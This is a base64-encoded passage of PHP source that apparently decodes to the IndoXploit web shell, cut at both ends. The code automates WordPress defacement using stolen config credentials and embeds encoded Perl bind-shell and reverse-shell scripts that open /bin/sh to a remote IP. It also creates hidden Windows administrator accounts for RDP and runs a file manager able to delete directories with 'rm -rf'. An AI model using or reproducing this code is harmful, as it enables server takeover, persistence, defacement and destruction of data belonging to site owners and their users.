oJCQkJCSAgIGN1cmxfc2V0b3B0KCRjaDYsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KCQkJCQkgICBjdXJsX3NldG9wdCgkY2g2LCBDVVJMT1BUX0NPT0tJRUZJTEUsICJjb29raWUudHh0Iik7DQoJICAgICAgIAkJICAJICAgY3VybF9zZXRvcHQoJGNoNiwgQ1VSTE9QVF9DT09LSUVKQVIsJ2Nvb2tpZS50eHQnKTsNCgkgICAgICAgCQkgCSAgIGN1cmxfc2V0b3B0KCRjaDYsIENVUkxPUFRfQ09PS0lFU0VTU0lPTix0cnVlKTsNCgkJCQkkcG9zdFJlc3VsdCA9IGN1cmxfZXhlYygkY2g2KTsNCgkJCQkJICAgY3VybF9jbG9zZSgkY2g2KTsNCgkJCQkkYXMgPSAiJHRhcmdldC9rLnBocCI7DQoJCQkJJGJzID0gYW51Y3VybCgkYXMpOw0KCQkJCWlmKHByZWdfbWF0Y2goIiMkc2NyaXB0I2lzIiwgJGJzKSkgew0KICAgICAgICAgICAgICAgICAgIAllY2hvICJbK10gPGZvbnQgY29sb3I9J2xpbWUnPmJlcmhhc2lsIG1lcGVzLi4uPC9mb250Pjxicj4iOw0KICAgICAgICAgICAgICAgICAgIAllY2hvICJbK10gPGEgaHJlZj0nJGFzJyB0YXJnZXQ9J19ibGFuayc+JGFzPC9hPjxicj48YnI+IjsgDQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIlstXSA8Zm9udCBjb2xvcj0ncmVkJz5nYWdhbCBtZXBlcy4uLjwvZm9udD48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiWyEhXSBjb2JhIGFqYSBtYW51YWw6IDxicj4iOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICJbK10gPGEgaHJlZj0nJHRhcmdldC93cC1sb2dpbi5waHAnIHRhcmdldD0nX2JsYW5rJz4kdGFyZ2V0L3dwLWxvZ2luLnBocDwvYT48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiWytdIHVzZXJuYW1lOiA8Zm9udCBjb2xvcj1saW1lPiR1c2VyPC9mb250Pjxicj4iOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICJbK10gcGFzc3dvcmQ6IDxmb250IGNvbG9yPWxpbWU+JHBhc3M8L2ZvbnQ+PGJyPjxicj4iOyAgICAgDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIAlteXNxbF9jbG9zZSgkY29ubik7DQoJCQl9DQoJCX0NCgl9IGVsc2Ugew0KCQllY2hvICI8Y2VudGVyPjxoMT5Xb3JkUHJlc3MgQXV0byBEZWZhY2UgVi4yPC9oMT4NCgkJPGZvcm0gbWV0aG9kPSdwb3N0Jz4NCgkJTGluayBDb25maWc6IDxicj4NCgkJPHRleHRhcmVhIG5hbWU9J2xpbmsnIHBsYWNlaG9sZGVyPSdodHRwOi8vdGFyZ2V0LmNvbS9pZHhfY29uZmlnL3VzZXItY29uZmlnLnR4dCcgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OjI1MHB4Oyc+PC90ZXh0YXJlYT48YnI+DQoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzY3JpcHQnIGhlaWdodD0nMTAnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0nSGFja2VkIGJ5IEluZG9YcGxvaXQnIHJlcXVpcmVkPjxicj4NCgkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsnIG5hbWU9J2F1dG9fZGVmYWNlX3dwJyB2YWx1ZT0nSGFqYXIhISc+DQoJCTwvZm9ybT48L2NlbnRlcj4iOw0KCX0NCn0gZWxzZWlmKCRfR0VUWydkbyddID09ICduZXR3b3JrJykgew0KCWVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJPHU+QmluZCBQb3J0OjwvdT4gPGJyPg0KCVBPUlQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBwbGFjZWhvbGRlcj0ncG9ydCcgbmFtZT0ncG9ydF9iaW5kJyB2YWx1ZT0nNjk2OSc+DQoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3ViX2JwJyB2YWx1ZT0nPj4nPg0KCTwvZm9ybT4NCgk8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCTx1PkJhY2sgQ29ubmVjdDo8L3U+IDxicj4NCglTZXJ2ZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBwbGFjZWhvbGRlcj0naXAnIG5hbWU9J2lwX2JjJyB2YWx1ZT0nIi4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iJz4mbmJzcDsmbmJzcDsNCglQT1JUOiA8aW5wdXQgdHlwZT0ndGV4dCcgcGxhY2Vob2xkZXI9J3BvcnQnIG5hbWU9J3BvcnRfYmMnIHZhbHVlPSc2OTY5Jz4NCgk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzdWJfYmMnIHZhbHVlPSc+Pic+DQoJPC9mb3JtPiI7DQoJJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOw0KCWlmKGlzc2V0KCRfUE9TVFsnc3ViX2JwJ10pKSB7DQoJCSRmX2JwID0gZm9wZW4oIi90bXAvYnAucGwiLCAidyIpOw0KCQlmd3JpdGUoJGZfYnAsIGJhc2U2NF9kZWNvZGUoJGJpbmRfcG9ydF9wKSk7DQoJCWZjbG9zZSgkZl9icCk7DQoNCgkJJHBvcnQgPSAkX1BPU1RbJ3BvcnRfYmluZCddOw0KCQkkb3V0ID0gZXhlKCJwZXJsIC90bXAvYnAucGwgJHBvcnQgMT4vZGV2L251bGwgMj4mMSAmIik7DQoJCXNsZWVwKDEpOw0KCQllY2hvICI8cHJlPiIuJG91dC4iXG4iLmV4ZSgicHMgYXV4IHwgZ3JlcCBicC5wbCIpLiI8L3ByZT4iOw0KCQl1bmxpbmsoIi90bXAvYnAucGwiKTsNCgl9DQoJJGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2NwT3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVSRVZTVWlrNyI7DQoJaWYoaXNzZXQoJF9QT1NUWydzdWJfYmMnXSkpIHsNCgkJJGZfYmMgPSBmb3BlbigiL3RtcC9iYy5wbCIsICJ3Iik7DQoJCWZ3cml0ZSgkZl9iYywgYmFzZTY0X2RlY29kZSgkYmluZF9jb25uZWN0X3ApKTsNCgkJZmNsb3NlKCRmX2JjKTsNCg0KCQkkaXBiYyA9ICRfUE9TVFsnaXBfYmMnXTsNCgkJJHBvcnQgPSAkX1BPU1RbJ3BvcnRfYmMnXTsNCgkJJG91dCA9IGV4ZSgicGVybCAvdG1wL2JjLnBsICRpcGJjICRwb3J0IDE+L2Rldi9udWxsIDI+JjEgJiIpOw0KCQlzbGVlcCgxKTsNCgkJZWNobyAiPHByZT4iLiRvdXQuIlxuIi5leGUoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsNCgkJdW5saW5rKCIvdG1wL2JjLnBsIik7DQoJfQ0KfSBlbHNlaWYoJF9HRVRbJ2RvJ10gPT0gJ2tyZHBfc2hlbGwnKSB7DQoJaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT09ICd3aW4nKSB7DQoJCWlmKCRfUE9TVFsnY3JlYXRlJ10pIHsNCgkJCSR1c2VyID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3VzZXInXSk7DQoJCQkkcGFzcyA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwYXNzJ10pOw0KCQkJaWYocHJlZ19tYXRjaCgiLyR1c2VyLyIsIGV4ZSgibmV0IHVzZXIiKSkpIHsNCgkJCQllY2hvICJbSU5GT10gLT4gPGZvbnQgY29sb3I9cmVkPnVzZXIgPGZvbnQgY29sb3I9bGltZT4kdXNlcjwvZm9udD4gc3VkYWggYWRhPC9mb250PiI7DQoJCQl9IGVsc2Ugew0KCQkJCSRhZGRfdXNlciAgID0gZXhlKCJuZXQgdXNlciAkdXNlciAkcGFzcyAvYWRkIik7DQogICAgCQkJJGFkZF9ncm91cHMxID0gZXhlKCJuZXQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9ycyAkdXNlciAvYWRkIik7DQogICAgCQkJJGFkZF9ncm91cHMyID0gZXhlKCJuZXQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9yICR1c2VyIC9hZGQiKTsNCiAgICAJCQkkYWRkX2dyb3VwczMgPSBleGUoIm5ldCBsb2NhbGdyb3VwIEFkbWluaXN0cmF0ZXVyICR1c2VyIC9hZGQiKTsNCiAgICAJCQllY2hvICJbIFJEUCBBQ0NPVU5UIElORk8gXTxicj4NCiAgICAJCQktLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+DQogICAgCQkJSVA6IDxmb250IGNvbG9yPWxpbWU+Ii4kaXAuIjwvZm9udD48YnI+DQogICAgCQkJVXNlcm5hbWU6IDxmb250IGNvbG9yPWxpbWU+JHVzZXI8L2ZvbnQ+PGJyPg0KICAgIAkJCVBhc3N3b3JkOiA8Zm9udCBjb2xvcj1saW1lPiRwYXNzPC9mb250Pjxicj4NCiAgICAJCQktLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+PGJyPg0KICAgIAkJCVsgU1RBVFVTIF08YnI+DQogICAgCQkJLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPg0KICAgIAkJCSI7DQogICAgCQkJaWYoJGFkZF91c2VyKSB7DQogICAgCQkJCWVjaG8gIlthZGQgdXNlcl0gLT4gPGZvbnQgY29sb3I9J2xpbWUnPkJlcmhhc2lsPC9mb250Pjxicj4iOw0KICAgIAkJCX0gZWxzZSB7DQogICAgCQkJCWVjaG8gIlthZGQgdXNlcl0gLT4gPGZvbnQgY29sb3I9J3JlZCc+R2FnYWw8L2ZvbnQ+PGJyPiI7DQogICAgCQkJfQ0KICAgIAkJCWlmKCRhZGRfZ3JvdXBzMSkgew0KICAgICAgICAJCQllY2hvICJbYWRkIGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnNdIC0+IDxmb250IGNvbG9yPSdsaW1lJz5CZXJoYXNpbDwvZm9udD48YnI+IjsNCiAgICAJCQl9IGVsc2VpZigkYWRkX2dyb3VwczIpIHsNCiAgICAgICAgCQkgICAgZWNobyAiW2FkZCBsb2NhbGdyb3VwIEFkbWluaXN0cmF0b3JdIC0+IDxmb250IGNvbG9yPSdsaW1lJz5CZXJoYXNpbDwvZm9udD48YnI+IjsNCiAgICAJCQl9IGVsc2VpZigkYWRkX2dyb3VwczMpIHsgDQogICAgICAgIAkJICAgIGVjaG8gIlthZGQgbG9jYWxncm91cCBBZG1pbmlzdHJhdGV1cl0gLT4gPGZvbnQgY29sb3I9J2xpbWUnPkJlcmhhc2lsPC9mb250Pjxicj4iOw0KICAgIAkJCX0gZWxzZSB7DQogICAgCQkJCWVjaG8gIlthZGQgbG9jYWxncm91cF0gLT4gPGZvbnQgY29sb3I9J3JlZCc+R2FnYWw8L2ZvbnQ+PGJyPiI7DQogICAgCQkJfQ0KICAgIAkJCWVjaG8gIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxicj4iOw0KCQkJfQ0KCQl9IGVsc2VpZigkX1BPU1RbJ3Nfb3BzaSddKSB7DQoJCQkkdXNlciA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydyX3VzZXInXSk7DQoJCQlpZigkX1BPU1RbJ29wc2knXSA9PSAnMScpIHsNCgkJCQkkY2VrID0gZXhlKCJuZXQgdXNlciAkdXNlciIpOw0KCQkJCWVjaG8gIkNoZWNraW5nIHVzZXJuYW1lIDxmb250IGNvbG9yPWxpbWU+JHVzZXI8L2ZvbnQ+IC4uLi4uLi4gIjsNCgkJCQlpZihwcmVnX21hdGNoKCIvJHVzZXIvIiwgJGNlaykpIHsNCgkJCQkJZWNobyAiWyA8Zm9udCBjb2xvcj1saW1lPlN1ZGFoIGFkYTwvZm9udD4gXTxicj4NCgkJCQkJLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPjxicj4NCgkJCQkJPHByZT4kY2VrPC9wcmU+IjsNCgkJCQl9IGVsc2Ugew0KCQkJCQllY2hvICJbIDxmb250IGNvbG9yPXJlZD5iZWx1bSBhZGE8L2ZvbnQ+IF0iOw0KCQkJCX0NCgkJCX0gZWxzZWlmKCRfUE9TVFsnb3BzaSddID09ICcyJykgew0KCQkJCSRjZWsgPSBleGUoIm5ldCB1c2VyICR1c2VyIGluZG94cGxvaXQiKTsNCgkJCQlpZihwcmVnX21hdGNoKCIvJHVzZXIvIiwgZXhlKCJuZXQgdXNlciIpKSkgew0KCQkJCQllY2hvICJbY2hhbmdlIHBhc3N3b3JkOiA8Zm9udCBjb2xvcj1saW1lPmluZG94cGxvaXQ8L2ZvbnQ+XSAtPiAiOw0KCQkJCQlpZigkY2VrKSB7DQoJCQkJCQllY2hvICI8Zm9udCBjb2xvcj1saW1lPkJlcmhhc2lsPC9mb250PiI7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvICI8Zm9udCBjb2xvcj1yZWQ+R2FnYWw8L2ZvbnQ+IjsNCgkJCQkJfQ0KCQkJCX0gZWxzZSB7DQoJCQkJCWVjaG8gIltJTkZPXSAtPiA8Zm9udCBjb2xvcj1yZWQ+dXNlciA8Zm9udCBjb2xvcj1saW1lPiR1c2VyPC9mb250PiBiZWx1bSBhZGE8L2ZvbnQ+IjsNCgkJCQl9DQoJCQl9IGVsc2VpZigkX1BPU1RbJ29wc2knXSA9PSAnMycpIHsNCgkJCQkkY2VrID0gZXhlKCJuZXQgdXNlciAkdXNlciAvREVMRVRFIik7DQoJCQkJaWYocHJlZ19tYXRjaCgiLyR1c2VyLyIsIGV4ZSgibmV0IHVzZXIiKSkpIHsNCgkJCQkJZWNobyAiW3JlbW92ZSB1c2VyOiA8Zm9udCBjb2xvcj1saW1lPiR1c2VyPC9mb250Pl0gLT4gIjsNCgkJCQkJaWYoJGNlaykgew0KCQkJCQkJZWNobyAiPGZvbnQgY29sb3I9bGltZT5CZXJoYXNpbDwvZm9udD4iOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJZWNobyAiPGZvbnQgY29sb3I9cmVkPkdhZ2FsPC9mb250PiI7DQoJCQkJCX0NCgkJCQl9IGVsc2Ugew0KCQkJCQllY2hvICJbSU5GT10gLT4gPGZvbnQgY29sb3I9cmVkPnVzZXIgPGZvbnQgY29sb3I9bGltZT4kdXNlcjwvZm9udD4gYmVsdW0gYWRhPC9mb250PiI7DQoJCQkJfQ0KCQkJfSBlbHNlIHsNCgkJCQkvLw0KCQkJfQ0KCQl9IGVsc2Ugew0KCQkJZWNobyAiLS0gQ3JlYXRlIFJEUCAtLTxicj4NCgkJCTxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcicgcGxhY2Vob2xkZXI9J3VzZXJuYW1lJyB2YWx1ZT0naW5kb3hwbG9pdCcgcmVxdWlyZWQ+DQoJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzcycgcGxhY2Vob2xkZXI9J3Bhc3N3b3JkJyB2YWx1ZT0naW5kb3hwbG9pdCcgcmVxdWlyZWQ+DQoJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdjcmVhdGUnIHZhbHVlPSc+Pic+DQoJCQk8L2Zvcm0+DQoJCQktLSBPcHRpb24gLS08YnI+DQoJCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3JfdXNlcicgcGxhY2Vob2xkZXI9J3VzZXJuYW1lJyByZXF1aXJlZD4NCgkJCTxzZWxlY3QgbmFtZT0nb3BzaSc+DQoJCQk8b3B0aW9uIHZhbHVlPScxJz5DZWsgVXNlcm5hbWU8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9JzInPlViYWggUGFzc3dvcmQ8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9JzMnPkhhcHVzIFVzZXJuYW1lPC9vcHRpb24+DQoJCQk8L3NlbGVjdD4NCgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3Nfb3BzaScgdmFsdWU9Jz4+Jz4NCgkJCTwvZm9ybT4NCgkJCSI7DQoJCX0NCgl9IGVsc2Ugew0KCQllY2hvICI8Zm9udCBjb2xvcj1yZWQ+Rml0dXIgaW5pIGhhbnlhIGRhcGF0IGRpZ3VuYWthbiBkYWxhbSBXaW5kb3dzIFNlcnZlci48L2ZvbnQ+IjsNCgl9DQp9IGVsc2VpZigkX0dFVFsnYWN0J10gPT0gJ25ld2ZpbGUnKSB7DQoJaWYoJF9QT1NUWyduZXdfc2F2ZV9maWxlJ10pIHsNCgkJJG5ld2ZpbGUgPSBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbmV3ZmlsZSddKTsNCgkJJGZvcGVuID0gZm9wZW4oJG5ld2ZpbGUsICJhKyIpOw0KCQlpZigkZm9wZW4pIHsNCgkJCSRhY3QgPSAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9hY3Q9ZWRpdCZkaXI9Ii4kZGlyLiImZmlsZT0iLiRfUE9TVFsnbmV3ZmlsZSddLiInOzwvc2NyaXB0PiI7DQoJCX0gZWxzZSB7DQoJCQkkYWN0ID0gIjxmb250IGNvbG9yPXJlZD5wZXJtaXNzaW9uIGRlbmllZDwvZm9udD4iOw0KCQl9DQoJfQ0KCWVjaG8gJGFjdDsNCgllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCUZpbGVuYW1lOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbmV3ZmlsZScgdmFsdWU9JyRkaXIvbmV3ZmlsZS5waHAnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz4NCgk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSduZXdfc2F2ZV9maWxlJyB2YWx1ZT0nU3VibWl0Jz4NCgk8L2Zvcm0+IjsNCn0gZWxzZWlmKCRfR0VUWydhY3QnXSA9PSAnbmV3Zm9sZGVyJykgew0KCWlmKCRfUE9TVFsnbmV3X3NhdmVfZm9sZGVyJ10pIHsNCgkJJG5ld19mb2xkZXIgPSAkZGlyLicvJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbmV3Zm9sZGVyJ10pOw0KCQlpZighbWtkaXIoJG5ld19mb2xkZXIpKSB7DQoJCQkkYWN0ID0gIjxmb250IGNvbG9yPXJlZD5wZXJtaXNzaW9uIGRlbmllZDwvZm9udD4iOw0KCQl9IGVsc2Ugew0KCQkJJGFjdCA9ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP2Rpcj0iLiRkaXIuIic7PC9zY3JpcHQ+IjsNCgkJfQ0KCX0NCgllY2hvICRhY3Q7DQoJZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0Jz4NCglGb2xkZXIgTmFtZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J25ld2ZvbGRlcicgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPg0KCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J25ld19zYXZlX2ZvbGRlcicgdmFsdWU9J1N1Ym1pdCc+DQoJPC9mb3JtPiI7DQp9IGVsc2VpZigkX0dFVFsnYWN0J10gPT0gJ3JlbmFtZV9kaXInKSB7DQoJaWYoJF9QT1NUWydkaXJfcmVuYW1lJ10pIHsNCgkJJGRpcl9yZW5hbWUgPSByZW5hbWUoJGRpciwgIiIuZGlybmFtZSgkZGlyKS4iLyIuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2ZvbF9yZW5hbWUnXSkuIiIpOw0KCQlpZigkZGlyX3JlbmFtZSkgew0KCQkJJGFjdCA9ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP2Rpcj0iLmRpcm5hbWUoJGRpcikuIic7PC9zY3JpcHQ+IjsNCgkJfSBlbHNlIHsNCgkJCSRhY3QgPSAiPGZvbnQgY29sb3I9cmVkPnBlcm1pc3Npb24gZGVuaWVkPC9mb250PiI7DQoJCX0NCgllY2hvICIiLiRhY3QuIjxicj4iOw0KCX0NCgllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nIi5iYXNlbmFtZSgkZGlyKS4iJyBuYW1lPSdmb2xfcmVuYW1lJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgaGVpZ2h0PScxMCc+DQoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZGlyX3JlbmFtZScgdmFsdWU9J3JlbmFtZSc+DQoJPC9mb3JtPiI7DQp9IGVsc2VpZigkX0dFVFsnYWN0J10gPT0gJ2RlbGV0ZV9kaXInKSB7DQoJaWYoaXNfZGlyKCRkaXIpKSB7DQoJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKSB7DQoJCQlAcm1kaXIoJGRpcik7DQoJCQlAZXhlKCJybSAtcmYgJGRpciIpOw0KCQkJQGV4ZSgicm1kaXIgL3MgL3EgJGRpciIpOw0KCQkJJGFjdCA9ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP2Rpcj0iLmRpcm5hbWUoJGRpcikuIic7PC9zY3JpcHQ+IjsNCgkJfSBlbHNlIHsNCgkJCSRhY3QgPSAiPGZvbnQgY29sb3I9cmVkPmNvdWxkIG5vdCByZW1vdmUgIi5iYXNlbmFtZSgkZGlyKS4iPC9mb250PiI7DQoJCX0NCgl9DQoJZWNobyAkYWN0Ow0KfSBlbHNlaWYoJF9HRVRbJ2FjdCddID09ICd2aWV3Jykgew0KCWVjaG8gIkZpbGVuYW1lOiA8Zm9udCBjb2xvcj1saW1lPiIuYmFzZW5hbWUoJF9HRVRbJ2ZpbGUnXSkuIjwvZm9udD4gWyA8YSBocmVmPSc/YWN0PXZpZXcmZGlyPSRkaXImZmlsZT0iLiRfR0VUWydmaWxlJ10uIic+PGI+dmlldzwvYj48L2E+IF0gWyA8YSBocmVmPSc/YWN0PWVkaXQmZGlyPSRkaXImZmlsZT0iLiRfR0VUWydmaWxlJ10uIic+ZWRpdDwvYT4gXSBbIDxhIGhyZWY9Jz9hY3Q9cmVuYW1lJmRpcj0kZGlyJmZpbGU9Ii4kX0dFVFsnZmlsZSddLiInPnJlbmFtZTwvYT4gXSBbIDxhIGhyZWY9Jz9hY3Q9ZG93bmxvYWQmZGlyPSRkaXImZmlsZT0iLiRfR0VUWydmaWxlJ10uIic+ZG93bmxvYWQ8L2E+IF0gWyA8YSBocmVmPSc/YWN0PWRlbGV0ZSZkaXI9JGRpciZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz5kZWxldGU8L2E+IF08YnI+IjsNCgllY2hvICI8dGV4dGFyZWEgcmVhZG9ubHk+Ii5odG1sc3BlY2lhbGNoYXJzKEBmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZSddKSkuIjwvdGV4dGFyZWE+IjsNCn0gZWxzZWlmKCRfR0VUWydhY3QnXSA9PSAnZWRpdCcpIHsNCglpZigkX1BPU1RbJ3NhdmUnXSkgew0KCQkkc2F2ZSA9IGZpbGVfcHV0X2NvbnRlbnRzKCRfR0VUWydmaWxlJ10sICRfUE9TVFsnc3JjJ10pOw0KCQlpZigkc2F2ZSkgew0KCQkJJGFjdCA9ICI8Zm9udCBjb2xvcj1saW1lPlNhdmVkITwvZm9udD4iOw0KCQl9IGVsc2Ugew0KCQkJJGFjdCA9ICI8Zm9udCBjb2xvcj1yZWQ+cGVybWlzc2lvbiBkZW5pZWQ8L2ZvbnQ+IjsNCgkJfQ0KCWVjaG8gIiIuJGFjdC4iPGJyPiI7DQoJfQ0KCWVjaG8gIkZpbGVuYW1lOiA8Zm9udCBjb2xvcj1saW1lPiIuYmFzZW5hbWUoJF9HRVRbJ2ZpbGUnXSkuIjwvZm9udD4gWyA8YSBocmVmPSc/YWN0PXZpZXcmZGlyPSRkaXImZmlsZT0iLiRfR0VUWydmaWxlJ10uIic+dmlldzwvYT4gXSBbIDxhIGhyZWY9Jz9hY3Q9ZWRpdCZkaXI9JGRpciZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz48Yj5lZGl0PC9iPjwvYT4gXSBbIDxhIGhyZWY9Jz9hY3Q9cmVuYW1lJmRpcj0kZGlyJmZpbGU9Ii4kX0dFVFsnZmlsZSddLiInPnJlbmFtZTwvYT4gXSBbIDxhIGhyZWY9Jz9hY3Q9ZG93bmxvYWQmZGlyPSRkaXImZmlsZT0iLiRfR0VUWydmaWxlJ10uIic+ZG93bmxvYWQ8L2E+IF0gWyA8YSBocmVmPSc/YWN0PWRlbGV0ZSZkaXI9JGRpciZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz5kZWxldGU8L2E+IF08YnI+IjsNCgllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCTx0ZXh0YXJlYSBuYW1lPSdzcmMnPiIuaHRtbHNwZWNpYWxjaGFycyhAZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGUnXSkpLiI8L3RleHRhcmVhPjxicj4NCgk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nU2F2ZScgbmFtZT0nc2F2ZScgc3R5bGU9J3dpZHRoOiA1MDBweDsnPg0KCTwvZm9ybT4iOw0KfSBlbHNlaWYoJF9HRVRbJ2FjdCddID09ICdyZW5hbWUnKSB7DQoJaWYoJF9QT1NUWydkb19yZW5hbWUnXSkgew0KCQkkcmVuYW1lID0gcmVuYW1lKCRfR0VUWydmaWxlJ10sICIkZGlyLyIuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3JlbmFtZSddKS4iIik7DQoJCWlmKCRyZW5hbWUpIHsNCgkJCSRhY3QgPSAi